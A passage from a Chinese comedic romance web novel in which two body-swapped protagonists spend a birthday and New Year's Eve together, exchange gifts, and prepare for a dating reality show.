小李看呆了。 讨好型人格见得多,讨伐型人格她还是第一次看到。 看着那些仿佛淬了毒的文字,小李唯唯诺诺地劝说:“姐,嘴下留人,这个月你已经被踢出群八次了……” “怕什么。” 即将搬家的乔缨无所畏惧,在业主群里杀红了眼。 【牛毛月:乱中问一下,爸爸一下子给了100w零花钱,买什么车好呀?】 【Dioretsa:买三十辆奥拓,浩浩荡荡开到街上,一会儿排成个S,一会儿排成个B。】 — 【梓涵妈妈(家有三宝):对啦,咱小区谁家今年生了小龙女呀?给我家耀祖预定个娃娃亲,有意向的评论区发照片,让我挑选一下未来儿媳妇。】 【Dioretsa:哦,我刚刚不小心踩死一只蟑螂,带回来给你家耀祖配个冥婚。】 — 【幸福一家:册了!你怎么说话的!不要带坏我家孩子!】 【幸福一家:年青人不要心高气傲的!得挠人处且挠人!等你到了我这个年纪就明白了,我们都是为了生活家庭在努力奋斗,维护自己的家庭自己的生活有什么错!】 【Dioretsa:尊嘟 假嘟?我看到你老公偷偷在会所当鸭。】 下一秒,微信弹出来一条消息提示: 【“Dioretsa”已被“幸福一家”移出群聊】 “你看,又急。” 乔缨一手指着屏幕,歪嘴勾出一抹笑,把招租广告递给小李。 小李立即明白她是要把房子租出去,十分上道地联系了几个中介。 做好最后的交接,乔缨骑上机车,慢悠悠地来到了棠溪湾的新家。 别墅区的地势较高,脚下是城市CBD,四周是连绵起伏的小山,视野很开阔,闹中取静。 中午时分的阳光铺满了院子,万里无云的天空是某种通透的蓝,门外几株乌桕树上坠着满天星似的白色果实,宛如冬日的焰火。 别墅管家见她看得出神,笑着介绍道:“虽然现在光秃秃的,等来年开春就好看了,满山遍野都是花。” 乔缨点点头,这一片山头除了她家,还有另一间别墅,围墙隔开了两栋房子,从远处看像是一体的建筑群。 不过隔壁这栋别墅应该暂时还没有卖出去,看起来像是没有人住的样子。 搬家公司的人收拾了三个小时才把东西全都归置好,乔缨刚给他们结完工资,掌心的手机忽然一震。 她以为是裴砚知在催自己赶紧出门,想也不想地便接通了电话,那头却传来一道意想不到的声音。 “乔缨。” 乔俞诚阴森森地挤出两个字。 乔缨顿了顿,意外地挑挑眉,轻佻一笑:“哟,是你啊,小神兽最近在哪发财呢?” “你现在是不是很得意啊?还记得爸被你害得有多惨吗?” “忘了谁也不能忘了他啊,看我过得好他比死了还难受吧?” 乔缨语气散漫:“哦已经死了呀?那他应该比投胎成我家的蟑螂还难受吧。” 乔俞诚咬牙切齿地说:“你不就是仗着有裴砚知给你撑腰才这么肆无忌惮吗?在他面前装受害者,装得自己都信了吧?要是他知道你是什么人了,你看他还会帮你吗?” “那你去试试呗。” 乔缨把玩着水果刀,内心毫无波澜。 一听到她这没皮没脸的腔调乔俞诚就来气,他盯着前方的某道人影,眼里闪过寒光,威胁道:“我告诉你,裴砚知现在就在我前面,你要是不想让他知道你的真面目,就给我转钱……” “哦,请便。” 乔缨似是不想和他纠缠,毫不犹豫地挂断了电话。 屏幕那头响起忙音,乔俞诚被气得浑身发抖,攥紧了手机,脸色灰白。 他不相信乔缨一个女人仅凭自己就让乔家树倒猢狲散,她一定是勾搭上了裴砚知才这么嚣张。 乔俞诚咬牙盯着那道背影。 靠男人,全靠男人。 他如今走投无路,既然乔缨敬酒不吃吃罚酒,那他死了也要拉个垫背的。 “裴总。” 裴砚知走在路上,冷不丁听到有人跟叫魂似的喊了他一声,像白日里撞了鬼,一时间不知道该不该回头。 乔俞诚穿着一身灰扑扑的衣服绕到他面前,没有任何前情铺垫,十分突兀地问:“你以为乔缨真像你想的那么无辜吗?” 裴砚知挑眉看着他,不发一言。 拿不准他的态度,乔俞诚索性破罐子破摔,不管不顾地开始揭露乔缨的罪行:“她十岁那年,把我爸捅进了icu,把我妈逼成了精神病,然后挑拨离间让我爸妈离了婚……我说的都是真的!她从小就是一个不择手段、心肠歹毒的人,你别信她!她一点都不可怜!” “那咋了?” 裴砚知不耐烦地打断:“你看我像在乎的样子吗?” 乔俞诚愣住了,没想到裴砚知居然是这个态度。 他正欲开口说些什么,又再度被打断,裴砚知将一个宠物佩戴的运动摄像头抛到他手中。 “你应该弄清楚谁才是罪魁祸首。” 裴砚知说完便转身离开,脸色冷得能冻死人。 他手里提着排骨,某人要来他家做客的好心情顿时被乔俞诚扫去了大半,神色恹恹地推开家门。 “谁又惹你了?” 贺晓女士从电视剧里抬起头,诧异地看他一眼。 “没什么,遇到一只老鼠。” 裴砚知把买来的东西拎进厨房,裴淮生接过,熟练地开始处理食材。 这是他们家的传统,把裴砚知的生日和跨年夜并在一起,亲自下厨宴请亲朋好友。 因为裴淮生厨艺非常好,以往的菜品都是他一个人忙活,贺晓和裴砚知打下手。 没想到今天十指不沾阳春水的裴砚知居然破天荒地提出了要自己做菜,还说待会儿有个重要的客人要来,吓得老两口心惊胆战了一个早上,整得比接待国宾还紧张。 看着儿子认真研究菜谱的侧脸,贺晓感觉十分里有二十分的不对劲。 有点像孔雀开屏。 心里隐隐约约有了猜测,贺晓和裴淮生心有灵犀地对视一眼,旁敲侧击道:“儿子,你那个朋友,什么时候到啊?” 裴砚知停下手中的菜刀,看了一眼时钟。 下午四点,离他们约定的时间还有半个小时。 他不自觉地扬起唇,语气轻快:“快了。” 贺晓跟见鬼似的往后退了一步,喝了口水压压惊,觉得这个场景太诡异了。 裴淮生清咳一声,状若无意地问:“儿子,你这做的是什么菜啊?” “糖醋排骨和辣子鸡。” 他朝喻季年打听过,这是乔缨最喜欢吃的两道菜。 日渐西沉,蓝得发透的天逐渐变成了一种融合着橘调和紫调的瑰丽色彩。 在天色完全暗下来之前,裴砚知端着菜走出了厨房,忍不住又看了一次时钟。 已经五点十分了,客人都陆陆续续到了裴家,看着裴砚知紧绷的身体和僵硬的动作,面面相觑。 童言无忌的裴星摇拉拉贺晓的衣袖,小声问道:“舅舅他怎么了?” 贺晓皱着眉,认为儿子应该是被放鸽子了,但直觉又告诉她,小乔姑娘不是这种人。 裴淮生拍拍裴砚知,眼里流出几分不忍:“还要等吗?” 裴砚知抿紧唇,看着石沉大海的微信和打不通的电话,心一点一点沉下去。 脑子里想起那天在科大,她挥手喊“不见不散”的样子。 所以应该是发生了什么事,乔缨不是出尔反尔的人。 也不能让爸妈觉得她是个出尔反尔的人。 裴砚知深吸一口气,敛起情绪,平静地回答:“先吃吧,她有事,可能不来了。” 夜色渐浓,干冷的空气仿佛透过窗缝吹到了脸上。 裴砚知食不知味地吃着饭,心不在焉地看着跨年晚会,欲盖弥彰地等待着手机提示音。 可一直等到晚上九点,乔缨都没有发来任何消息。 第70章 第七十章 恋爱,真的能让人变笨…… “青春的疼痛来源于少年的懵懂无知与那想尝禁果的想法, 当他看到腹部一天一天隆起时便开始幻想他与他的未来,可最终的结果却是被他殴打至流了产……” 林娇娇饿得两眼发直:“喻,炸鸡曾经也来过我的肚子。” 喻季年邪魅一笑, 捏着她的下巴,往她嘴里塞了几颗药片:“挚爱, 想逃就逃,我会用左手来帮你喂药, 后面忘了, 我们都太骄傲,忘记了医生开出的方子太苦。” 站在门外的乔缨:“……” 谁敢想,这样聪明伶俐的手下她竟然有两个。 她屈起手指给俩卧龙凤雏一人脑门上来了一下,没好气道:“够了,老子不忍开杀。” 林娇娇看着她精心打扮过的样子, 心里很不是滋味, 眼眶湿润起来:“姐,我是不是耽误你约会了?” “约会哪有你重要。” 乔缨摸摸她的头, 坐到床边开始削苹果。 几个小时前,她刚准备出门赴约, 突然接到喻季年的电话, 说林娇娇受伤了,正要送到医院抢救。 她匆匆忙忙赶到现场时, 只看见林娇娇腹部被割开了好大一个口子,旁边一个持刀的男人被警察控制了起来。 直到押送到警车上, 男人仍在面目狰狞地叫嚣:“你这个吃里扒外的东西, 我要替我女神报仇!” 警方一番调查后,才终于弄清楚了事情原委。 男人口 中的女神正是阮绵绵。 之前在马场的时候,她发现林娇娇做了乔缨的助理, 阴阳怪气地发了一条微博,明里暗里都是在说林娇娇背信弃义。 那群超雄男粉当场就愤怒了,不仅扒出了林娇娇的电话号码和住址,还扬言说要替女神教训一下奴才,粉丝群里满是污言秽语。 大部分都是口嗨,可没想到有人当了真,才在今天捅出来这么一个大篓子。 “你放心,我一定会给你讨个公道。” 乔缨把削成兔子形状的苹果递给林娇娇,之前一直在忙着善后,这会儿拿出手机想看看时间,才发现早就没电了。 她心里骤然一紧,连忙找了个充电的插口,手指紧紧按住开机键,盯着屏幕上硕大的红色电池出神。 不知过了多久,手机终于攒够了开机的电量,来自裴砚知的未接来电和消息安安静静地待在app图标的左上角。 99+的数字下,鲜红的背景显得格外触目惊心。 乔缨深吸一口气,鼓足勇气点开微信。 裴砚知的最后一句话停留在十分钟前,让她有空了记得回一下消息。 没有质问,没有责怪,字里行间只能看出担心和一点点委屈。 对,委屈。 乔缨觉得自己可能是疯了。 脑子里乱乱的,她倒宁愿裴砚知生气一点,他也理应生气,骂她爽约,骂她放人鸽子,骂她好端端的生日被她搅得一团乱。 总而言之,不要像现在这样。 她有些招架不住。 乔缨抿着唇,斟酌着敲下一行字: 【Dioretsa:抱歉,我今天来不了了。】 没想到下一秒,裴砚知直接给她打来了语音电话,乔缨手一抖,慌忙之中按下了接听键。 病房里的人太多,她下意识地站起身想要跑去走廊,却被充电线拽了个趔趄。 “哎呦我———” 乔缨疼得呲牙咧嘴,差点闪到腰。 恋爱,真的能让人变笨。 喻季年不忍直视地给她手里塞了个充电宝,将她推出病房,在嘴上比了个拉拉链的手势。 乔缨递给她一个感激的眼神,匆匆来到楼梯间,靠着墙壁平复了一下呼吸。 她拿起手机,对着屏幕理了理有些散乱的头发,然后故作镇定地清清嗓子:“咳……喂?” 听着对面一阵乒铃乓啷的动静,裴砚知眉头微微一皱,问道:“你在哪里?” “医院。” 乔缨把下午发生的事情说了一遍,对面的人一直安安静静地听着,轻轻浅浅的呼吸声惹得人耳根发麻。 伴随着讲述,紧绷的神经逐渐放松,一直被她强行忽略的情绪再次反扑,心情骤然就低落了下来。 掰着指头数了这么多天,没想到期待还是落了空,或者说,再一次落了空。 她这个人,运气就这样了吧。 头发一圈一圈在指尖绕着,乔缨压下心中的情绪,遗憾地说:“对不起啊,是我没能遵守约定。” 电话那头的人一时间没有说话。 沉默像一把悬在头上的达摩克利斯之剑,她屏住呼吸,等待着裴砚知的审判。 可还没等乔缨酝酿好悲春伤秋的情绪,男人突然牛头不对马嘴地问了一句:“饿不饿?” 乔缨茫然道:“什么?” “你从下午到现在都没吃饭,饿不饿?” 裴砚知避开在客厅玩闹的小孩儿们,走到厨房,斜斜靠在岛台上。 他看着冰箱里那两盘几乎没有被动过的菜,十分欠揍地开口:“我下午吃了糖醋排骨和辣子鸡,味道特别好,只可惜,乔老师没这个口福。” 说罢,他拿起一本菜谱,看图说话般从色香味三个角度仔细给乔缨描述了一遍。 肚子很合时宜地叫了起来,在楼梯间回荡盘旋。 乔缨尴尬得脚趾抠地,差点给他跪下来:“求你,别说了,再说我就要抱着人啃了。” 裴砚知也听到了那个声音,愉悦地勾起唇角,语气里带着隐隐约约的蛊惑:“那你想吃吗?” “想啊。” 乔缨一无所知地答:“你要送过来吗?我的地址是……” 话还没说完,她突然眼前一黑,四周的场景“欻”的一下变成了裴砚知家的厨房。 面前放着两盘刚刚热好的菜,右手手指传来一阵痛意,低头看,一颗血珠从食指的伤口渗出。 还没搞明白状况,忽然有个小女孩跑了过来,眨巴着一双水汪汪的葡萄眼,问道:“小舅舅,我妈妈呢?” 乔缨心里咯噔一声。 您,是怎么想的呢? 孩子,这话可不兴说啊! 仔细一看,眼前的人颇为眼熟,正是那天“Queen Never Cry”的小女孩。 她心里又咯噔一声。 难不成那位二十六岁大寿的舅舅就是裴砚知? 果不其然,裴星摇从衣兜里拿出一张做成小卡的合照,信誓旦旦地说:“舅舅,这是我送你的生日礼物。” 她凑近一点,狡黠笑道:“舅舅最近不是失眠吗,这个姐姐哄睡超厉害的,两巴掌扇走你所有烦恼!” 乔缨摸摸她的头,再度发出相同的感慨:“好孩子,你真孝顺。” 贺晓听到厨房里的动静,进来看了一眼,见她直愣愣地盯着两盘菜,露出一个嫌弃的表情。 “还搁这儿睹物思人呢?出息。” 贺晓摇着头,轻嗤着把她推了出去。 裴星摇拽着她的衣角来到了电视机前,四周不认识的亲戚正指着舞台上表演的一对明星夫妻,七嘴八舌地讨论着八卦。 “中午才曝出来出轨,晚上还要来一起表演《全部都是你》,我都替他们尴尬嘞。” “哎呦,这些明星没一个好东西,感情生活都乱得很。” “这唱的都是些啥啊,口型也对不上,跑调跑到我姥姥家了,还没刘老根大舞台好看。” 感觉像是在点我呢。 乔缨如坐针毡地坐在沙发上,尬笑两声,心里有些不服气。 嘁,你们豪门圈的名声也好不到哪里去,裴砚知唱歌更是不咋滴。 别问,问就是洗澡的时候唱过,唱得刘阿姨差点报警。 屋里的灯光不知不觉暗了下来,贺晓端着一碗长寿面,裴淮生推来一个大蛋糕,定定停在乔缨的面前。 她顺从地闭上眼睛,走流程般开始唱生日快乐歌,可第一个字还在嘴里打转,忽然感觉眼前一闪一闪的飘过了什么东西。 她疑惑地睁开眼,一颗闪耀的灯球在房间中央熠熠生辉,极具冲击力的劲爆音乐伴随着不断旋转的绚丽灯光响彻云霄。 身旁,早已准备好的家人们开始摇起了花手。 人群中央走出来一个娃娃脸的男孩,嗓音浑厚得像抽了六十年的老烟枪,压低声音开始喊麦: “祝我裴总四射光芒,威名赫赫创辉煌!一路长虹踏破九重,犹如耀眼的太阳!世界变幻雄鹰翱翔,不改赤忱的模样!祝你心愿能够得偿,留得佳人在身旁!” “噗!” 乔缨笑得想打鸣,赶紧把头埋进长寿面的碗里,死命压住嘴角,吸溜了几口。 可裴家人却没有放过她,见她笑得开心,还以为这小节目把今天的寿星给逗乐了,个个都兴奋起来,吹拉弹唱轮番上阵。 真是小刀剌屁股开了个大眼。 谁家霸总过生日还有这种才艺表演? 已经没有人在意电视里的跨年晚会了,屋里的歌声一浪高过一浪,气氛在众人齐齐高呼“生日快乐”时达到顶峰。 乔缨揉揉笑僵了的脸,忽然就很想流泪。 裴砚知,你也太幸福了,幸福得我想去跳楼。 她一辈子都没经历过这么温馨的时刻,甚至连自己出生的具体日期都不记得。 刚到乔家那会儿,她总是羡慕别人家的小朋友能有生日大蛋糕吃,试探性地问了李娆后,喜提两个大巴掌,从此封心锁爱,再也没过过生日。 所以她才那么期待今天,旁观 别人的幸福,或许能偷走从他们指缝里流出的一点温暖。 乔缨吸吸鼻子,做了一个决定。 在众人错愕的眼神里,她抓起外套快步向门外跑去,路过时掀起一阵风,把贺晓的二人转手绢都给碰掉了。 “哎,这孩子,干嘛呢?”贺晓惊声喊道。 乔缨头也不回,朝身后潇洒地挥挥手。 她现在,要去见一个想见的人,飞奔着去- 裴砚知回到棠溪湾时,已经是半夜十一点半。 空荡荡的房子里没有半点人气,他在客厅里找了一圈,终于找到喻季年口中那个放着礼物的桌子。 定睛一看,7袋大米和4桶油,附加一个九块九包邮的安全锤。 很好,很豪华。 他无动于衷地抽抽嘴角,脱下高跟鞋,转身去卧室冲了个澡,换了身干净舒适的衣服。 室内暖气开得很足,没有开灯,高楼大厦的霓虹灯在全景的落地窗前一览无余,隐约能听到人群欢呼的声音。 裴砚知端着一碗中药,萧萧肃肃地站在窗前,灯火将身影拉长,平添几分寂寥的意味。 他低头看向右手的食指,眉眼柔和,缓缓勾起唇角。 是的,在乔缨不知道的时候,他已经明白了互换身体的关窍。 而为了让她今天不留遗憾,裴砚知自愿扎了自己一针。 不轻不重,不痛不痒。 但能让某个张牙舞爪的人开心。 苦涩的药味在舌尖弥漫开,裴砚知仰躺在沙发上,看着天花板的水晶吊灯出神。 乔缨现在在干嘛呢? 她喜欢甜食,现在大概在吃蛋糕。 他的家人都很有趣,和她应该挺合得来的。 不过贺晓女士喜欢拉着人唱歌,他看过乔缨唱《小寡妇上坟》的视频,有点担心今晚邻居会不会上门投诉他们家的噪音。 怎么办,一想到乔缨就忍不住笑意。 裴砚知觉得自己可能是疯了。 12月31号已经进入了倒计时,远处高楼上的灯光一秒一秒变换着数字,不知是谁提前点燃了烟火,偶有闷响划破长空。 倒计时还剩最后五秒的时候,有谁敲响了大门。 披衣起身,裴砚知警惕地将门掀开一条小缝,猝不及防地对上了一双亮晶晶的眸子。 “3!” “喂,你,你等等!” 乔缨喘着气,扒开大门,将手里的小型月球塞了过来。 “2!” 裴砚知打开月球,碎星似的晶体上镶了几颗月光石做成的明珠,下方嵌入的蓝色宝石净透而闪亮,在月光下像冰川一样清澈。 中空的腔内,放着一颗星星形状的陨石。 “这是我在南极捡到的一颗月球陨石。” 乔缨摸摸鼻子,有些不好意思地说:“虽然有些晚了,但还是祝你生日快乐。” “1!” 乔缨两只手做成喇叭的形状,笑嘻嘻地对他大声喊道:“今年遇到你,特别开心!” 烟火在她身后腾空而起,裴砚知感觉世界开始失真,头晕目眩,天旋地转,耳边嗡鸣声喧嚣不止。 唯一能听得真切的,只有他热切的、持续不断的,心跳声。 莫名想起了白天乔俞诚的话,他上前几步,抱住了乔缨携满凉意的身体,紧紧的,严丝合缝,密不可分。 “乔缨,你一点都不讨人厌。” 你并不恶毒,并不跋扈,并不心如蛇蝎心肠歹毒。 你是个非常温柔,非常浪漫,也非常…… 可爱的人。 70-80 第71章 第七十一章 我们母子被人算计了 烟火声已经停下, 树枝被积压的落雪折断,“啪嗒”几声,山雀惊起, 万籁俱寂。 乔缨看着埋在自己胸口的人,不自在地捏了捏指尖。 兄弟, 别太感动了。 不就给你送了个礼物吗? “那个……” 她刚要说话,裴砚知忽然动了动, 从颈窝处挪开。 身上属于他的温度骤然消散, 只残留了一点洗发水的香味,融进冬日干巴巴的冷风。 对于这个突如其来的拥抱,裴砚知打算这样解释:“人体相互接触时,含氧的血红素会上升……” 乔缨盯着他绯红的耳尖,将信将疑地问:“你的意思是, 你这具身体有些缺血是吗?” 大雪落在晦暗的土地上, 说话间,两团呼出的白气撞在一起, 像是呼吸交融的具像化。 裴砚知沉默了几秒,忍住捏她脸的冲动, 叹了口气。 这辈子没见过像乔缨这样不解风情的人。 乔缨却不懂他的心思, 缩缩脖子嘟囔道:“快进去吧,好冷。” 家里没有男士拖鞋, 她只能换上一双短了半截的棉拖,踢踢踏踏来到落地窗前, 四仰八叉地在沙发上躺倒。 送给裴砚知的礼物放在林娇娇的病房抽屉里, 这个时间点的地铁已经停运,她一路从裴家跑到医院,再从医院跑到棠溪湾, 好不容易才掐点赶了回来。 她揉揉脑袋,打着哈欠说:“今天街上特别堵,我拦了辆车说我赶时间,那司机差点把我胆汁给飙出来。” 她顿了顿,满脸写着无语:“后来我一问才知道,司机以前是在重庆开出租的,退役赛车手一刚。” “我还以为,你就打算给我送点大米和油呢。” 裴砚知坐到一旁,拿了个抱枕垫在大腿上,意有所指地拍了拍。 “我又不是银行大堂经理。” 乔缨觉得有些奇怪,但转念一想,反正是自己的身体,便顺势将头枕了上去。 屋内的氛围安静而舒适,裴砚知拂开她脸上挡住眉眼的碎发,轻轻开口:“为什么想到要送我陨石?” “你的公司名字叫昭星嘛,我就送你一颗星星咯。” 乔缨闭上眼睛答道,飙车的后遗症还没消退,脑袋又晕又涨,提不起力气。 正难受着,一双柔软的手忽然按压上她的皮肤,在太阳穴处打着旋。 因为在屋外站了太久,指尖沾染上了寒气,那股凉意沁润着大脑,焦虑的神经被抚平,连带着毛孔都舒张开来。 她忍不住伸了个懒腰,手指却在沙发角落碰到一个东西,睁开眼一看,发现那是一个没见过的丝绒礼盒。 “什么东西?” 乔缨疑惑地皱起眉,打开礼盒,一条亮瞎眼的粉钻项链正躺在里面,看起来很是眼熟。 这不是她在拍卖行官网看到的那条吗? 价值几个小目标来着? 这么贵重的东西,别是上一个来看房子的土豪落在这儿的吧? 脸上的疑惑很快变成了惊恐,正在她颤颤巍巍打算报警时,突然听到了裴砚知憋笑的声音:“别猜了,送你的。” 哦,那没事了。 “谢谢。” 乔缨大大方方收下项链,笑得比窗外的霓虹灯还灿烂。 裴砚知意外地挑挑眉:“我还以为你会像过年收红包一样假装推拉几个来回。” “为什么不要,给我我就收着,姐的配得感就是这么高……” 话还没说完,乔缨忽然一愣,惊觉自己的心态似乎和以前完全不一样了。 一开始面对裴砚知,她其实非常防备,莫名其妙天降一个优质霸总,还样样符合心意,一看就是量身为她定做的杀猪盘。 当这个猜测被否定后,她又觉得裴砚知是从另外哪个世界穿进来攻略她的,又或者是想噶她的腰子,总之一定是别有所图,否则没道理对她这么好。 可到现在,她已经完全不会去想这些问题了。 没有那么多为什么,因为她值得,打磨原石时险些割伤的手指,以及今晚那八百块的打车费就是证据。 乔缨看着那条熠熠生辉的钻石项链,喟然而叹:“咱们认识才 一个月,我居然就开始信任你了,好恐怖。” 裴砚知觑她一眼:“恐怖吗?这辈子你再也找不到第二个会和你互换身体的人了。” 说起这件事,乔缨一骨碌从沙发上爬了起来,晃晃右手那只包着创口贴的食指,不紧不慢地问:“小裴同志,解释一下吧。” 裴砚知正色道:“每次我们互换身体的时机,要么是我受伤流血,要么是你晕过去,要么是我一边受伤流血你一边晕过去,所以我这次赌了一把。” 好有道理。 乔缨信服地点点头,眨巴着眼睛问:“所以你现在只需要再扎一次手指,我们就能换回来了?” “当然。” 裴砚知拿出从药店买回来的血糖仪针头,往食指上扎了一下。 血珠渗出一滴两滴,时间过去一秒两秒,身体没有任何变化。 乔缨挠头:“嘶……要不然我晕过去试试呢?” 裴砚知:“……你想怎么晕?” “柯南第一集看过吧?” 乔缨比划着动作,往后脑勺上来了一下,一副引颈就戮的架势。 裴砚知把她的手掰下来,气得想笑:“那地方能随便敲?你是想让你刚买的房子变成凶宅吗?明天的新闻标题就是《元旦节杀人事件》。” “那算了,影响房价。” 乔缨猛然摇头,默默拿起了手机。 她模糊细节后,匿名在某红薯发了条帖子: 【随地排便并把玩:姐妹们,男朋友失眠一个星期了,怎么才能迅速让他晕过去?】 不一会儿,某红薯便弹出来一条回复的消息: 【momo:你可以使劲亲他的脖子,压迫到颈动脉窦导致对方昏迷不醒一命呜呼。】 还能这样? 乔缨咋舌,耳边冷不丁响起裴砚知的声音:“你在看什么?” “没什么。” 她快速按灭了手机屏幕,眼睛却不由自主地往他脖子上瞟,欲盖弥彰地打开电视。 页面正好停在一档深夜探灵节目上,乔缨津津有味地看着主播在闹鬼的大厦里闲逛,忽然福至心灵,睁大了眼睛。 她转过头,言之凿凿:“有没有可能是老坟那边的问题?” 说完她又紧张起来,语气惊诧:“那咋办,我连自己家的老坟在哪儿都不知道。” 然后便像个苦情剧里绝望老实的农村入一样呆愣愣地坐在沙发上,两眼发直,半天只能蹦出一句话:“完了,我们母子被人算计了。” “你这表演型人格是不是有点离谱了?” 裴砚知无语,脑子里闪过某个晦气的人影后,淡淡开口:“白天的时候,乔俞诚来找过我了。” “哦?” 乔缨一秒恢复正常,敛起表情,好整以暇地看着他:“得知我不是等待救赎的公主,而是十恶不赦的黑心女巫后,裴总作何感想啊?” 是尴尬,是愤怒,还是觉得感情错付? 没想到裴砚知突然朝她竖起了大拇指,神色坦然地说:“乔老师,你比我想象中的还要有种。” 本来准备好面对疾风骤雨的乔缨突然一怔,压住上扬的嘴角,扭扭捏捏道:“你干嘛老是叫我老师,我觉得有点暧昧了。” “你让济南人怎么办?” 巨幕电视里放着恐怖画面,屋外的雪越下越大,灯光昏暗,落地窗结出一层霜花,乔缨和裴砚知有一搭没一搭地聊着,不知不觉睡了过去。 一夜无梦。 这段时间深受梦境困扰的两个人难得踏踏实实睡了个好觉,直到被一阵门铃声吵到才幽幽转醒。 乔缨揉着眼睛从沙发上撑起身,和身下同样睡眼惺忪的裴砚知大眼瞪小眼。 甚至她的手臂还环在人家的腰上,像条大蟒蛇一样死死缠着裴砚知。 我抱我自己睡觉,应该不算吃豆腐吧? 她两只眼睛乱颤,身下的裴砚知也好不到哪里去,一只手抵上她的胸膛,哑着嗓子支支吾吾:“你……你先起来。” 门铃声不知什么时候停了,取而代之的是一阵突兀的音乐,掉在地毯上的手机欢快地震动着。 乔缨伸出手臂捞起手机,看到来电人后一惊,烫手山芋般连忙把手机塞到裴砚知的怀里,紧张道:“意芝姐的电话,她现在应该在门外,怎么办啊?” 没等裴砚知回话,她便跟窜天猴似的跳了起来,抱着衣服连滚带爬跑去二楼卧室里躲着,还抽空对他比了个噤声的手势。 搞得他们好像在偷情一样,又不是在演《西厢记》。 裴砚知叹了口气,披上外套,打开了大门。 门外的陈意芝正打算打第二通电话,见到他后明显松了一口气,旋即狐疑地皱起了眉。 奇怪,她刚才明明看到窗帘里有动静,乔缨怎么这半天了才来开门。 “你怎么不接电话?才刚刚睡醒吗?”陈意芝问。 “嗯。” 裴砚知答得简短,一边将她迎进屋内,一边隐秘地把那双男士皮鞋往鞋柜里踢了踢。 陈意芝扫了一圈客厅,看着沙发上散乱的抱枕和毛毯,心里的疑惑更深了。 乔缨的睡眠一向很浅,睡姿也很老实,像个树袋熊一样抱着抱枕一动不动。 这个沙发,可不像是她一个人弄出来的乱摊子。 算了,她爱咋咋地,只要不耽误工作就好。 陈意芝将视线从沙发上移开,盯着裴砚知的脸,正色道:“房子不错,今天下午两点的飞机,你东西都收拾好了吗?” “……什么飞机?” “当然是去南岛的飞机啊,明天恋综就开拍了,今天下午录制先导片,别告诉我你忘了啊。” 陈意芝上下扫了他一眼,见他一脸状况外的样子,还以为他是没睡醒,把他往楼梯口推了推。 “赶紧的吧,可别误机了。” 裴砚知沉默着垂下眼睫,打开卧室门,定定站在乔缨面前,问了一个振聋发聩的问题:“什么是恋综?” “呃,恋综,什么叫恋综,这个怎么跟你解释什么叫恋综呢?” 乔缨观察着他的表情,尬笑着小声道:“就是和其他男人表演谈恋爱的综艺。” 果不其然,在她说完这句话后,裴砚知脸色一沉,忽然疾步跨往阳台。 乔缨将他拦腰抱住:“你要去哪?” 裴砚知神情肃然:“死。” 第72章 第七十二章 茹粿嗳,请深嗳,茹卟嗳,…… “裴砚知, 你记住,别管记住什么,你就记住。” 乔缨两手死死抱住他的腰, 低声安抚:“咱们拿的是万人嫌剧本,不会和男嘉宾牵手成功的。” 裴砚知面无表情地看她一眼, 从阳台栏杆上跨了下来。 “男一段羡秋喜欢装深情,男二江简哲是个巨婴, 男三何孟理爹味重爱装逼, 男四沈颐更是一坨重量级。” 乔缨一边收拾着行李,一边挨个diss恋综的男嘉宾,鄙夷道:“四个人各有各的毛病,挑不出来,完全挑不出来。” “你们娱乐圈的男性质量还真差, 选的都是些什么人。” 裴砚知挑眉, 蹲在她身旁叠起了衣服,无比自然地拿起几条轻薄的布料, 用隔离袋装好放进箱子里。 楼下的陈意芝催促了几声,乔缨盖上行李箱, 拍拍他的肩膀, 鼓励道:“在一群神经病里当正常人也不容易,裴总, 你加油吧。” 怎么感觉听出了一丝悲壮。 裴砚知揉揉乔缨的头发,从她头上摘下了一小团羽绒服里跑出来的绒毛, 推开门转身下楼。 屋外响起汽车发动的声音, 乔缨躲在二楼的窗户后,往后座的裴砚知挥了挥手。 忽冷忽热的冬天再度放晴,手中那一小团绒毛被冷风裹上树梢, 裴砚知勾唇,朝窗口的人晃晃手机。 坐在一旁的陈意芝疑惑不解地看着他,顺着视线望向二楼,除了飘动的窗帘,什么都没看到。 她问:“你在看什么?” “没什么。” 裴砚知收回视线,心情颇好地关上车窗。 引擎声渐远,乔缨蹲坐在地板,亮起的手机屏幕上是一张刚刚发来的照片。 像是直接从监控视频里截取下来的画面,不太高的像素里,两道朦朦胧胧的人影相拥而立,身后的烟火盛大而绚烂。 一条消息紧随其后: 【Dioretsa:新年快乐,等我回家,一起去吃饭吧。】 “干嘛啊……” 乔缨盯着这一行字,忽然有种天灵盖被雷劈到的感觉,或许是刚刚蹲下的动作太快,心跳变得慌乱,脸颊也莫名开始发烫。 她曾经说过,造物主并不善待于她,而孤独和分离才是人生常态。 所以这一句约定,算是裴砚知对她的回答吗? 怎么办,她还没去恋综呢,人已经微醺了。 难道这就是心动? 不知道,不懂,反正关羽和张飞不这样。 乔缨胡思乱想着,不知过了多久,一阵门铃声将神志唤了回来。 她走到一楼,打开智能面板,心不在焉地问:“你好,哪位?” 别墅管家听到是个男人的声音后一怔,旋即迅速反应过来,笑道:“乔小姐的快递到了,能麻烦您签收一下吗?” 快递? 乔缨眼睛一亮,连忙打开门让拖着小推车的管家进了院子,把几株藤本月季的花苗挪到了光秃秃的花园里。 铲土,挖坑,穴改,一番忙活下来乔缨已经把刚刚的问题抛诸脑后了。 搭好爬藤的架子后,她拍拍手上的灰,贴近花苗株,柔声细语地哄:“好宝宝,争气一点,你们可是我亲手养大的玫瑰。” 一只脚刚踏进院子里的陆嘉泽:“……” 真是活见鬼了。 听到动静,乔缨茫然地抬起头,擦擦额头上的汗珠,意外道:“你怎么来了?” “那个……乔小姐让我给您送衣服。” 陆嘉泽把几个包装袋放到花园桌上,看着她满身的泥点子和手里的锄头,内心掀起一阵惊涛骇浪。 没记错的话,裴总好像有洁癖来着? 等等,现在的问题还不是这个,重点是这两个人昨晚应该一起过夜了吧?那裴总现在怎么一个人在干活? 见他一副吃到领导大瓜的表情,乔缨知道他误会了自己和裴砚知的关系,但也不知道怎么解释。 不该看的早看完了,甚至逐渐往老夫老妻的状态上靠拢。 实在算不上清白,反正关羽和张飞不这样。 “恭喜你,陆秘书,你被我恭喜到了。” 乔缨背着手,语重心长地开始胡说八道:“陆秘书,你记住,跟我出来混,最重要的是出来。说白了,我们这些年轻人就是白说了你知道吗……” “通透!” 陆嘉泽想也不想地举起了大拇指拍马屁。 他懂,他都懂,不就是老板倒贴乔小姐倒贴到大过节的来投怀送抱都没要到名分吗?他都懂。 经过这段时间的观察,陆嘉泽已经完全不把乔缨当成金丝雀和“跟”了,她是比霸总更霸总的存在,简直是霸董。 ———霸道董事长。 